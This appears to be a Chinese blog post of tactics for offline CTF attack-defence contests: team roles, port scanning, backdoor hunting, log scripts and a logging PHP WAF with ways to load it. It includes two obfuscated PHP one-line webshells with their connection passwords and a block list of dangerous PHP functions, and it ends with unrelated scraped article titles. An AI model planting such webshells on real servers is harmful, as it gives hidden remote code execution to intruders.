SSH登陆

两三个人进行分工,一个粗略的看下web,有登陆口的话,就需要修改密码,将情况反馈给队友,让登陆ssh的小伙伴进行密码的修改,改成炒鸡复杂、然后将Web目录下载下来,上WAF、文件监控、端口扫描。将这几个工作分工好,顺序就像图上。

tips:将下载下来的Web目录理一遍,看是否有可疑的文件夹,比如bak。

网络拓扑

主机发现

如果是在同个C段,或者B段,均可以使用RouterScan进行对80端口扫描进行扫描得出,嫌麻烦的话,就用httpscan(https://github.com/zer0h/httpscan)这个小巧的脚本。

千万要记得扫端口,这很重要。用nmap也行,自己写的脚本或者网上找的也行。

预留后门

有的比赛环境,为了照顾比较菜的选手(此处举手),预留了一句话后门。将整个web目录下载到本地,使用hm.exe、D盾或者别的扫描工具可以扫描得出(如果预留)。

一句话

控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。

简单举例:

连接方式:php?2=assert密码是1。

献上我常用得一句话

$a=chr(96^5);

$b=chr(57^79);

$c=chr(15^110);

$d=chr(58^86);

$e='($_REQUEST[C])';

@assert($a.$b.$c.$d.$e);

?>

配置为?b=))99(rhC(tseuqeR+lave

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}

?>

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=

连接密码:0(零)

日志分析

1.感知可能正在发生的攻击,从而规避存在的安全风险

2.应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失

记录log脚本

这种脚本网上有很多。

date_default_timezone_set('Asia/Shanghai');

$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip

$filename = $_SERVER['PHP_SELF'];//访问者要访问的文件名

$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数

$time = date('Y-m-d H:i:s',time()); //访问时间

$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."rn";

// log记录

$fh = fopen("log.txt", "a");

fwrite($fh, $logadd);

fclose($fh);

?>

日志分析工具

1.LogForensics 腾讯实验室

https://security.tencent.com/index.php/opensource/detail/15

2.北风飘然@金乌网络安全实验室

http://www.freebuf.com/sectool/126698.html

3.网络ID为piaox的安全从业人员:

http://www.freebuf.com/sectool/110644.html

4.网络ID:SecSky

http://www.freebuf.com/sectool/8982.html

5.网络ID:鬼魅羊羔

http://www.freebuf.com/articles/web/96675.html

题目类型

1-出题人自己写的cms

2-常见或者不常见的cms。

3-一些框架漏洞

0x02:代码类型

目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。

0x03:题目漏洞类型

1-sqli居多

2-文件包含

3-各种rce

4-文件上传

如何防守

其实防守更多看的是谁比较细心。

0x01:比赛开始的时候

比赛开始时,当我们连上ssh的时候,我们首先应该做的是把源码down下来,及时做好备份。

然后在尽量不违反主办方check的原则下挂上自己的waf。

一般来说,主办方可能会隔一段时间提供前一时段的流量,也可能不会,所以这个时候需要我们自己去抓流量。

0x02:然后的工作

当然是审计,审计,再审计。

0x03:当发现被打时

当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。

一个web狗需要具备的一些东西

1-快速的漏洞反应能力。

因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。

2-快速编写脚本的能力。

因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小py无疑是极好的。

3-一个好的心态

毕竟跟你同场竞技的都是各位大佬,所以当你发现自己被打的时候,心态不要崩,一旦崩了就基本宣布gg了。

当我们处于优势地位时

除非处于那种绝对优势的时候,我们可以什么都不在乎。

当我们处于一个微弱优势时,这个时候我们需要一个比较腹黑的思想,比如说,A队与B队只差了可能几百的分数,而A队这个时候有B队的webshell,那么如何把B队拖下水,相信大家都懂。

当我们处于劣势地位时

首先还是那句话,心态不要崩。

其次因为web比较容易抓取流量,所以即使我们被打,我们也可以及时通过分析流量去查看别的队伍的payload,从而进行反打。

如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。

最想要的WAF

error_reporting(0);

define('LOG_FILENAME','log.txt');

function waf()

{

if (!function_exists('getallheaders')) {

function getallheaders() {

foreach ($_SERVER as $name => $value) {

if (substr($name, 0, 5) == 'HTTP_')

$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;

}

return $headers;

}

}

$get = $_GET;

$post = $_POST;

$cookie = $_COOKIE;

$header = getallheaders();

$files = $_FILES;

$ip = $_SERVER["REMOTE_ADDR"];

$method = $_SERVER['REQUEST_METHOD'];

$filepath = $_SERVER["SCRIPT_NAME"];

//rewirte shell which uploaded by others, you can do more

foreach ($_FILES as $key => $value) {

$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);

file_put_contents($_FILES[$key]['tmp_name'], "virink");

}

unset($header['Accept']);//fix a bug

$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);

//deal with

$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";

$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";

$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";

$pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";

$vpattern = explode("|",$pattern);

$bool = false;

foreach ($input as $k => $v) {

foreach($vpattern as $value){

foreach ($v as $kk => $vv) {

if (preg_match( "/$value/i", $vv )){

$bool = true;

logging($input);

break;

}

}

if($bool) break;

}

if($bool) break;

}

}

function logging($var){

file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);

// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);

}

waf();

?>

这个WAF在线下攻防赛中,绝对是一个大杀器。

不仅拦截了大多数非法语句,还能记录所有的攻击流量,轻松得到别人的payload。

不知道主办方要如何解决这个WAF所存在的问题。

当然,这个WAF应该也不是完美的,还可以添加更多的规则,让他变得更强!

接下来再说说,在实战中如何加载这个WAF。

根据权限不同,就有不同的加载方式。

有root权限

那麽,这样就简单了,直接写在配置中。

vim php.ini

auto_append_file = “/dir/path/phpwaf.php”

重启Apache或者php-fpm就能生效了。

当然也可以写在 .user.ini 或者 .htaccess 中。

php_value auto_prepend_file “/dir/path/phpwaf.php”

只有user权限

没写系统权限就只能在代码上面下手了,也就是文件包含。

这钟情况又可以用不同的方式包含。

如果是框架型应用,那麽就可以添加在入口文件,例如index.php,

如果不是框架应用,那麽可以在公共配置文件config.php等相关文件中包含。

include('phpwaf.php');

还有一种是替换index.php,也就是讲index.php改名为index2.php,然后讲phpwaf.php改成index.php。

当然还没完,还要在原phpwaf.php中包含原来的index.php。

index.php -> index2.php

phpwaf.php -> index.php

include('index2.php');

最后两个链接希望对彼此有用(http://bobao.360.cn/ctf/detail/169.html)(http://byd.dropsec.xyz/2017/05/16/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E7%9B%B8%E5%85%B3%E5%B7%A5%E5%85%B7/index.html)。

ctf线下赛mysql密码_CTF线下攻防赛相关推荐

  1. linux下修改MySQL 密码

    2019-03-12 by 崔斐然 linux/centos/debian/ubuntu下修改MySQL 密码 上午新装了数据库,遇到以下错误: #1045 -Access denied for us ...

  2. dos下设置mysql密码_MySQL数据库之dos或wamp下修改mysql密码的具体方法

    本文主要向大家介绍了MySQL数据库之dos或wamp下修改mysql密码的具体方法 ,通过具体的内容向大家展现,希望对大家学习MySQL数据库有所帮助. 最近在纠结如何修改mysql的密码,终于搞定 ...

  3. mac mysql 重设密码_Mac下忘记mysql密码重新设置密码的图文教程

    MySQL 文件在路径/usr/local/mysql下 1, 在系统偏好设置中关闭 mysql : Stop MySQL Server 2 ,打开终端 进入路径 /usr/local/mysql/b ...

  4. linux和windows下忘记mysql密码的几种找回方法

    linux和windows下忘记mysql密码的几种找回方法 关于linux忘记mysql密码处理方法,下面提供了5种linux忘记mysql密码找回方法哦. 方法一(先进入root权限): # /e ...

  5. Mac 下修改mysql密码

    安装好MySQL以后,系统给了个默认的的密码,然后说如果忘记了默认的密码......我复制了默认密码就走过了只一步,这一步就是我漫长旅程的开始.他给的密码太复杂了,当然我得换一个,而且我还要假装我不记 ...

  6. Linux下修改MySQL密码

    Linux下修改MySQL密码 在Linux系统中安装MySQL后出现无法登录的情况,错误显示为:** ERROR 1698 (28000): Access denied for user 'root ...

  7. win7 忘记mysql密码_Win7系统下忘记Mysql密码怎么办?

    Mysql是一个关系型数据库管理系统,Win7系统下许多从事网站职业的用户经常会使用到,Mysql操作是需要密码的,没有密码验证许多设置都无法修改,但是忘记了Mysql密码该怎么办呢? Win7系统下 ...

  8. Linux下配置mysql密码

    Linux下配置mysql密码 Linux下配置mysql密码有两种情况: 一.首次登录mysql未设置密码或忘记密码解决方法: 二.已经配置密码对原有密码进行更改. 一.首次登录mysql未设置密码 ...

  9. linux系统重置mysql_Linux下重置MySQL密码

    据有关资料显示,人能记住的密码一般不多,很多时候人都是多账户同密码的办法来设置密码的.但一般来说,经常需要接触的账户密码是不会忘记的.但偏偏也有可能有忘记的时候,下面就介绍下在Linux环境下忘记My ...

最新文章

  1. 兴义网站服务器存储,兴义ipfs分布式存储操作系统
  2. 乔布斯的64周年诞辰,苹果滞销的第N天
  3. springmvc的执行流程_springmvc执行流程
  4. mooc- 基本程序设计方法week1,week2
  5. 脑子越来越不好使,文字越来越像驮shi
  6. JS之Boolean的toString方法
  7. python函数可以提高运行效率吗_python 多进程如何提高函数效率?
  8. 原生js---ajax---post方法传数据
  9. 简易OA漫谈之工作流设计(五,直接上级)
  10. 【Java数据结构】Map与Set、搜索树、哈希表
  11. Knowledge Integration Networks for Action Recognition AAAI 2020
  12. 预告 | 大咖Live X 数字绿土 CTO 赵宝林:高精度地图上车之路究竟还有多远?
  13. Urllib3 库详解
  14. Ubuntu系统下安装Gaussian09和GaussianView5(GS16和GV6安装同理)
  15. 神经网络算法开篇——逻辑回归
  16. Different tests were collected between gw0 and gw1. The difference is: --- gw0
  17. 苹果cms在线采集,100多个采集资源接口,可定时采集
  18. 真无线蓝牙耳机哪家的音质最好?四款音质好蓝牙耳机
  19. C语言的转义字符,八进制
  20. 送东阳马生序 与君共勉

热门文章

  1. 再获数千万融资,湃方科技将工业智联革命进行到底
  2. 几个 Python“小伎俩” | 内附代码
  3. Julia 语言可重用性高竟源于缺陷和不完美?
  4. Spring Boot 2.2 正式发布,性能大幅提升、Java 13 支持|CSDN博文精选
  5. 代码英雄:波澜壮阔的操作系统之战(音频+长文)
  6. 程序员爬取 3 万条评论,《长安十二时辰》槽点大揭秘!
  7. 前端必会!四步带你吃透浏览器渲染基本原理
  8. 5G 商用时,我们所处的智能城市会是什么样?
  9. 亚马逊不仅将弃用 Oracle,还要抢 Java 饭碗!
  10. 快速使用 Tensorflow 读取 7 万数据集!